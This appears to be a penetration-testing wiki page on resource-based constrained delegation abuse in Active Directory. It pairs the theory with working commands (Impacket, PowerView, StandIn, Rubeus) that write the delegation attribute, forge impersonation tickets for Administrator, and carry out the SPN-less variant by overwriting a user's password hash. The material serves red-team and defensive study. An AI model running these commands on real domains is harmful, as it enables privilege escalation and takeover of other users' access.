(RBCD) Resource-based constrained
Theory
If an account, having the capability to edit the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of another object (e.g. the GenericWrite ACE, see Abusing ACLs), is compromised, an attacker can use it populate that attribute, hence configuring that object for RBCD.
For this attack to work, the attacker needs to populate the target attribute with the SID of an account that Kerberos can consider as a service. A service ticket will be asked for it. In short, the account must be either (see Kerberos tickets for more information about the following):
- a user account having a
ServicePrincipalNameset - an account with a trailing
$in thesAMAccountName(i.e. a computer accounts) - any other account and conduct SPN-less RBCD with U2U (User-to-User) authentication
The common way to conduct these attacks is to create a computer account. This is usually possible thanks to a domain-level attribute called MachineAccountQuota that allows regular users to create up to 10 computer accounts.
Then, in order to abuse this, the attacker has to control the account (A) the target object's (B) attribute has been populated with. Using that account's (A) credentials, the attacker can obtain a ticket through S4U2Self and S4U2Proxy requests, just like constrained delegation with protocol transition.
In the end, an RBCD abuse results in a Service Ticket to authenticate on the target service (B) on behalf of a user. Once the final Service Ticket is obtained, it can be used with Pass-the-Ticket to access the target service (B).
Practice
::: tabs
=== UNIX-like
Step 1: edit the target's "rbcd" attribute (DACL abuse) :pencil2:
Impacket's rbcd.py script (Python) can be used to read, write or clear the delegation rights, using the credentials of a domain user that has the needed permissions.
# Read the attribute
rbcd.py -delegate-to 'target$' -dc-ip 'DomainController' -action 'read' 'domain'/'PowerfulUser':'Password'
# Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity
rbcd.py -delegate-from 'controlledaccount' -delegate-to 'target$' -dc-ip 'DomainController' -action 'write' 'domain'/'PowerfulUser':'Password'
Step 2: obtain a ticket (delegation operation) :ticket:
Once the attribute has been modified, the Impacket script getST (Python) can then perform all the necessary steps to obtain the final "impersonating" ST (in this case, "Administrator" is impersonated but it can be any user in the environment).
getST.py -spn 'cifs/target' -impersonate Administrator -dc-ip 'DomainController' 'domain/controlledaccountwithSPN:SomePassword'
Step 3: Pass-the-ticket :passport_control:
Once the ticket is obtained, it can be used with pass-the-ticket.
=== Windows
In order to run the following commands and tools as other users, testers can check the user impersonation part.
Step 1: edit the target's "rbcd" attribute (DACL abuse) :pencil2:
The PowerShell ActiveDirectory module's cmdlets Set-ADComputer and Get-ADComputer can be used to write and read the attributed of an object (in this case, to modify the delegation rights).
# Read the security descriptor
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
# Populate the msDS-AllowedToActOnBehalfOfOtherIdentity
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount 'controlledaccountwithSPN'
PowerSploit's PowerView module is an alternative that can be used to edit the attribute (source).
# Obtain the SID of the controlled account with SPN (e.g. Computer account)
$ComputerSid = Get-DomainComputer "controlledaccountwithSPN" -Properties objectsid | Select -Expand objectsid
# Build a generic ACE with the attacker-added computer SID as the pricipal, and get the binary bytes for the new DACL/ACE
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account
Get-DomainComputer "target$" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
FuzzSecurity's StandIn project is another alternative in C# (.NET assembly) to edit the attribute (source).
# Obtain the SID of the controlled account with SPN (e.g. Computer account)
StandIn.exe --object samaccountname=controlledaccountwithSPNName
# Add the object to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer
StandIn.exe --computer "target" --sid "controlledaccountwithSPN's SID"
The Invoke-PassTheCert fork can also be used, authenticating through Schannel via PassTheCert.
Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash).
# Import the PowerShell script and show its manual Import-Module .\Invoke-PassTheCert.ps1 .\Invoke-PassTheCert.ps1 -? # Authenticate to LDAP/S $LdapConnection = Invoke-PassTheCert-GetLDAPConnectionInstance -Server 'LDAP_IP' -Port 636 -Certificate cert.pfx # List all the available actions Invoke-PassTheCert -a -NoBanner # Add an object (e.g. WANHADELHEG$) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer (e.g. RBESEEDEE$) Invoke-PassTheCert -Action 'LDAPExploit' -LdapConnection $LdapConnection -Exploit 'RBCD' -Identity 'CN=WANHADELHEG,CN=Computers,DC=X' -Target 'CN=RBESEEDEE,CN=Computers,DC=X'
Step 2: obtain a ticket (delegation operation) :ticket:
Rubeus can then be used to request the TGT and "impersonation ST", and inject it for later use.
# Request a TGT for the current user
Rubeus.exe tgtdeleg /nowrap
# OR - Request a TGT for a specific account
Rubeus.exe asktgt /user:"controlledaccountwithSPN" /aes256:$aesKey /nowrap
# Request the "impersonation" service ticket using RC4 Key
Rubeus.exe s4u /nowrap /impersonateuser:"administrator" /msdsspn:"cifs/target" /domain:"domain" /user:"controlledaccountwithSPN" /rc4:$NThash
# OR - Request the "impersonation" service ticket using TGT Ticket of the controlledaccountwithSPN
Rubeus.exe s4u /nowrap /impersonateuser:"administrator" /msdsspn:"host/target" /altservice:cifs,ldap /domain:"domain" /user:"controlledaccountwithSPN" /ticket:$kirbiB64tgt
The NT hash and AES keys can be computed as follows.
Rubeus.exe hash /password:$password
Rubeus.exe hash /user:$username /domain:"domain.local" /password:$password
Step 3: Pass-the-ticket :passport_control:
Once the ticket is injected, it can natively be used when accessing the service (see pass-the-ticket).
:::
RBCD on SPN-less users
In 2022, Jame Forshaw demonstrated that the SPN requirement wasn't completely mandatory and RBCD could be operated without: Exploiting RBCD using a normal user. While this technique is a bit trickier and should absolutely be avoided on regular user accounts (the technique renders them unusable for normal people), it allows to abuse RBCD even if the MachineAccountQuota is set to 0. In this case, the first (edit the "rbcd" attribute) and last ("Pass-the-ticket") steps are the same. Only the "Obtain a ticket" step changes.
The technique is as follows:
- Obtain a TGT for the SPN-less user allowed to delegate to a target and retrieve the TGT session key.
- Change the user's password hash and set it to the TGT session key.
- Combine S4U2self and U2U so that the SPN-less user can obtain a service ticket to itself, on behalf of another (powerful) user, and then proceed to S4U2proxy to obtain a service ticket to the target the user can delegate to, on behalf of the other, more powerful, user.
- Pass the ticket and access the target, as the delegated other
::: tabs
=== UNIX-like
From UNIX-like systems, Impacket (Python) scripts can be used to operate that technique. At the time of writing, September 7th 2022, some of the tools used below are in Pull Requests still being reviewed before merge (#1201 and #1202).
# Obtain a TGT through overpass-the-hash to use RC4
getTGT.py -hashes :$(pypykatz crypto nt 'SomePassword') 'domain'/'controlledaccountwithoutSPN'
# Obtain the TGT session key
describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'
# Change the controlledaccountwithoutSPN's NT hash with the TGT session key
changepasswd.py -newhashes :TGTSessionKey 'domain'/'controlledaccountwithoutSPN':'SomePassword'@'DomainController'
# Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy (the steps could be conducted individually with the -self and -additional-ticket flags)
KRB5CCNAME='TGT.ccache' getST.py -u2u -impersonate "Administrator" -spn "host/target.domain.com" -k -no-pass 'domain'/'controlledaccountwithoutSPN'
# The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)
changepasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'
After these steps, the final service ticket can be used with Pass-the-ticket.
=== Windows
From Windows systems, Rubeus (C#) can be used to operate the technique.
The steps detailed in PR #137 can be followed.
After these steps, the final service ticket can be used with Pass-the-ticket.
:::
Resources
https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html